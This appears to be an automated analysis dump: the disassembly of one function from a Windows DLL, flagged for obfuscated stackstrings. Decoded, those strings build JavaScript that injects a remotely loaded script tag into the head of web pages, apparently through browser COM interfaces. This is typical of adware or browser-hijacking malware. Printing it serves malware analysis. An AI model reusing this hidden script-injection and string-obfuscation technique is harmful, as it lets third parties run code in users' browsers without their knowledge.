Function at 0x10003328
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x8fc
mov eax, 0x100121a0
call fcn.10010b50
mov eax, dword [ebp + 0xc]
mov edi, dword [eax + 8]
mov esi, ecx
lea ecx, [ebp - 0x8e0]
push ecx
mov dword [ebp - 0x8e4], esi
call fcn.10007214
pop ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword [esi + 0x20]
mov edi, dword [ebp - 0x8e0]
cmp eax, dword [ebp + 8]
je 0x1000337a
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x8e0]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
jmp 0x100039b2
lea esi, [ebp - 0x8f0]
mov dword [ebp - 0x8f0], ebx
call fcn.10006906
cmp dword [ebp - 0x8f0], ebx
jne 0x10003365
cmp byte [edi], 0x20
mov ebx, edi
jne 0x100033a0
inc ebx
cmp byte [ebx], 0x20
je 0x1000339a
mov esi, str.http:__
mov ecx, esi
call fcn.100070bb
push eax
push esi
call fcn.10006fec
pop ecx
pop ecx
test eax, eax
jne 0x10003365
mov ecx, esi
call fcn.100070bb
push eax
push esi
call fcn.10006fec
pop ecx
pop ecx
test eax, eax
jne 0x10003365
call fcn.1000698b
xor ebx, ebx
cmp al, bl
jne 0x10003365
push 0x7ff
lea eax, [ebp - 0x8db]
push ebx
push eax
mov dword [ebp - 0x8f4], 0x800
mov byte [ebp - 0x8dc], bl
call fcn.1000a2b0
lea eax, [ebp - 0x8f4]
push eax
lea eax, [ebp - 0x8dc]
push eax
call fcn.10006901
add esp, 0x14
test al, al
je 0x10003365
mov eax, dword [ebp - 0x8e4]
mov eax, dword [eax + 0x20]
lea edx, [ebp - 0x8ec]
push edx
mov dword [ebp - 0x8ec], ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x48]
cmp eax, ebx
jl 0x10003365
lea eax, [ebp - 0x908]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov byte [ebp - 4], 1
mov dword [ebp - 0x8e8], ebx
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x8ec]
mov ecx, dword [eax]
lea edx, [ebp - 0x8e8]
push edx
push eax
call dword [ecx + 0x1b0]
mov byte [ebp - 0xdc], 0x76
mov byte [ebp - 0xdb], 0x61
mov byte [ebp - 0xda], 0x72
mov byte [ebp - 0xd9], 0x20
mov byte [ebp - 0xd8], 0x5f
mov byte [ebp - 0xd7], 0x6a
mov byte [ebp - 0xd6], 0x73
mov byte [ebp - 0xd5], 0x46
mov byte [ebp - 0xd4], 0x41
mov byte [ebp - 0xd3], 0x20
mov byte [ebp - 0xd2], 0x3d
mov byte [ebp - 0xd1], 0x20
mov byte [ebp - 0xd0], 0x64
mov byte [ebp - 0xcf], 0x6f
mov byte [ebp - 0xce], 0x63
mov byte [ebp - 0xcd], 0x75
mov byte [ebp - 0xcc], 0x6d
mov byte [ebp - 0xcb], 0x65
mov byte [ebp - 0xca], 0x6e
mov byte [ebp - 0xc9], 0x74
mov byte [ebp - 0xc8], 0x2e
mov byte [ebp - 0xc7], 0x63
mov byte [ebp - 0xc6], 0x72
mov byte [ebp - 0xc5], 0x65
mov byte [ebp - 0xc4], 0x61
mov byte [ebp - 0xc3], 0x74
mov byte [ebp - 0xc2], 0x65
mov byte [ebp - 0xc1], 0x45
mov byte [ebp - 0xc0], 0x6c
mov byte [ebp - 0xbf], 0x65
mov byte [ebp - 0xbe], 0x6d
mov byte [ebp - 0xbd], 0x65
mov byte [ebp - 0xbc], 0x6e
mov byte [ebp - 0xbb], 0x74
mov byte [ebp - 0xba], 0x28
mov byte [ebp - 0xb9], 0x27
mov byte [ebp - 0xb8], 0x73
mov byte [ebp - 0xb7], 0x63
mov byte [ebp - 0xb6], 0x72
mov byte [ebp - 0xb5], 0x69
mov byte [ebp - 0xb4], 0x70
mov byte [ebp - 0xb3], 0x74
mov byte [ebp - 0xb2], 0x27
mov byte [ebp - 0xb1], 0x29
mov byte [ebp - 0xb0], 0x3b
mov byte [ebp - 0xaf], 0x20
mov byte [ebp - 0xae], 0x20
mov byte [ebp - 0xad], 0x5f
mov byte [ebp - 0xac], 0x6a
mov byte [ebp - 0xab], 0x73
mov byte [ebp - 0xaa], 0x46
mov byte [ebp - 0xa9], 0x41
mov byte [ebp - 0xa8], 0x2e
mov byte [ebp - 0xa7], 0x73
mov byte [ebp - 0xa6], 0x65
mov byte [ebp - 0xa5], 0x74
mov byte [ebp - 0xa4], 0x41
mov byte [ebp - 0xa3], 0x74
mov byte [ebp - 0xa2], 0x74
mov byte [ebp - 0xa1], 0x72
mov byte [ebp - 0xa0], 0x69
mov byte [ebp - 0x9f], 0x62
mov byte [ebp - 0x9e], 0x75
mov byte [ebp - 0x9d], 0x74
mov byte [ebp - 0x9c], 0x65
mov byte [ebp - 0x9b], 0x28
mov byte [ebp - 0x9a], 0x27
mov byte [ebp - 0x99], 0x74
mov byte [ebp - 0x98], 0x79
mov byte [ebp - 0x97], 0x70
mov byte [ebp - 0x96], 0x65
mov byte [ebp - 0x95], 0x27
mov byte [ebp - 0x94], 0x2c
mov byte [ebp - 0x93], 0x20
mov byte [ebp - 0x92], 0x27
mov byte [ebp - 0x91], 0x74
mov byte [ebp - 0x90], 0x65
mov byte [ebp - 0x8f], 0x78
mov byte [ebp - 0x8e], 0x74
mov byte [ebp - 0x8d], 0x2f
mov byte [ebp - 0x8c], 0x6a
mov byte [ebp - 0x8b], 0x61
mov byte [ebp - 0x8a], 0x76
mov byte [ebp - 0x89], 0x61
mov byte [ebp - 0x88], 0x73
mov byte [ebp - 0x87], 0x63
mov byte [ebp - 0x86], 0x72
mov byte [ebp - 0x85], 0x69
mov byte [ebp - 0x84], 0x70
mov byte [ebp - 0x83], 0x74
mov byte [ebp - 0x82], 0x27
mov byte [ebp - 0x81], 0x29
mov byte [ebp - 0x80], 0x3b
mov byte [ebp - 0x7f], 0x20
mov byte [ebp - 0x7e], 0x5f
mov byte [ebp - 0x7d], 0x6a
mov byte [ebp - 0x7c], 0x73
mov byte [ebp - 0x7b], 0x46
mov byte [ebp - 0x7a], 0x41
mov byte [ebp - 0x79], 0x2e
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x65
mov byte [ebp - 0x76], 0x74
mov byte [ebp - 0x75], 0x41
mov byte [ebp - 0x74], 0x74
mov byte [ebp - 0x73], 0x74
mov byte [ebp - 0x72], 0x72
mov byte [ebp - 0x71], 0x69
mov byte [ebp - 0x70], 0x62
mov byte [ebp - 0x6f], 0x75
mov byte [ebp - 0x6e], 0x74
mov byte [ebp - 0x6d], 0x65
mov byte [ebp - 0x6c], 0x28
mov byte [ebp - 0x6b], 0x27
mov byte [ebp - 0x6a], 0x73
mov byte [ebp - 0x69], 0x72
mov byte [ebp - 0x68], 0x63
mov byte [ebp - 0x67], 0x27
mov byte [ebp - 0x66], 0x2c
mov byte [ebp - 0x65], 0x20
mov byte [ebp - 0x64], 0x27
mov byte [ebp - 0x63], bl
mov byte [ebp - 0x8e4], 0x26
mov byte [ebp - 0x8e3], 0x64
mov byte [ebp - 0x8e2], 0x3d
mov byte [ebp - 0x8e1], bl
mov byte [ebp - 0x60], 0x27
mov byte [ebp - 0x5f], 0x29
mov byte [ebp - 0x5e], 0x3b
mov byte [ebp - 0x5d], 0x20
mov byte [ebp - 0x5c], 0x64
mov byte [ebp - 0x5b], 0x6f
mov byte [ebp - 0x5a], 0x63
mov byte [ebp - 0x59], 0x75
mov byte [ebp - 0x58], 0x6d
mov byte [ebp - 0x57], 0x65
mov byte [ebp - 0x56], 0x6e
mov byte [ebp - 0x55], 0x74
mov byte [ebp - 0x54], 0x2e
mov byte [ebp - 0x53], 0x67
mov byte [ebp - 0x52], 0x65
mov byte [ebp - 0x51], 0x74
mov byte [ebp - 0x50], 0x45
mov byte [ebp - 0x4f], 0x6c
mov byte [ebp - 0x4e], 0x65
mov byte [ebp - 0x4d], 0x6d
lea ecx, [ebp - 0x8dc]
mov byte [ebp - 0x4c], 0x65
mov byte [ebp - 0x4b], 0x6e
mov byte [ebp - 0x4a], 0x74
mov byte [ebp - 0x49], 0x73
mov byte [ebp - 0x48], 0x42
mov byte [ebp - 0x47], 0x79
mov byte [ebp - 0x46], 0x54
mov byte [ebp - 0x45], 0x61
mov byte [ebp - 0x44], 0x67
mov byte [ebp - 0x43], 0x4e
mov byte [ebp - 0x42], 0x61
mov byte [ebp - 0x41], 0x6d
mov byte [ebp - 0x40], 0x65
mov byte [ebp - 0x3f], 0x28
mov byte [ebp - 0x3e], 0x27
mov byte [ebp - 0x3d], 0x68
mov byte [ebp - 0x3c], 0x65
mov byte [ebp - 0x3b], 0x61
mov byte [ebp - 0x3a], 0x64
mov byte [ebp - 0x39], 0x27
mov byte [ebp - 0x38], 0x29
mov byte [ebp - 0x37], 0x5b
mov byte [ebp - 0x36], 0x30
mov byte [ebp - 0x35], 0x5d
mov byte [ebp - 0x34], 0x2e
mov byte [ebp - 0x33], 0x61
mov byte [ebp - 0x32], 0x70
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x6e
mov byte [ebp - 0x2e], 0x64
mov byte [ebp - 0x2d], 0x43
mov byte [ebp - 0x2c], 0x68
mov byte [ebp - 0x2b], 0x69
mov byte [ebp - 0x2a], 0x6c
mov byte [ebp - 0x29], 0x64
mov byte [ebp - 0x28], 0x28
mov byte [ebp - 0x27], 0x5f
mov byte [ebp - 0x26], 0x6a
mov byte [ebp - 0x25], 0x73
mov byte [ebp - 0x24], 0x46
mov byte [ebp - 0x23], 0x41
mov byte [ebp - 0x22], 0x29
mov byte [ebp - 0x21], 0x3b
mov byte [ebp - 0x20], bl
call fcn.100070bb
add eax, 0xbe
push eax
lea esi, [ebp - 0x8f8]
call fcn.10002317
mov byte [ebp - 4], 5
mov edi, dword [ebp - 0x8f8]
lea edx, [ebp - 0xdc]
mov esi, edi
call fcn.1000710a
lea esi, [edi + eax*2]
lea edx, [ebp - 0x8dc]
call fcn.1000710a
lea esi, [esi + eax*2]
lea edx, [ebp - 0x8e4]
call fcn.1000710a
lea esi, [esi + eax*2]
mov al, 0x30
cmp byte [0x1001b829], bl
je 0x100038ef
cmp byte [0x1001b828], bl
sete al
add al, 0x33
jmp 0x100038f9
cmp byte [0x1001b828], bl
je 0x100038f9
mov al, 0x31
cbw
mov word [esi], ax
inc esi
inc esi
lea edx, [ebp - 0x60]
call fcn.1000710a
mov esi, dword [ebp - 0x8e8]
lea eax, [ebp - 0x1c]
push eax
mov byte [ebp - 0x1c], 0x6a
mov byte [ebp - 0x1b], 0x61
mov byte [ebp - 0x1a], 0x76
mov byte [ebp - 0x19], 0x61
mov byte [ebp - 0x18], 0x73
mov byte [ebp - 0x17], 0x63
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x69
mov byte [ebp - 0x14], 0x70
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], bl
call fcn.1000226c
pop ecx
mov dword [ebp - 0x8e4], eax
cmp eax, ebx
jne 0x10003957
push 0x8007000e
call fcn.1000169f
mov byte [ebp - 4], 6
mov ecx, dword [esi]
lea edx, [ebp - 0x908]
push edx
push eax
push edi
push esi
call dword [ecx + 0x110]
mov byte [ebp - 4], 5
push dword [ebp - 0x8e4]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call esi
mov byte [ebp - 4], 4
push edi
call esi
mov byte [ebp - 4], 1
lea eax, [ebp - 0x8e8]
push eax
call fcn.100039dc
mov byte [ebp - 4], bl
lea eax, [ebp - 0x908]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x8e0]
call esi
xor eax, eax
call fcn.10010bd3
ret 8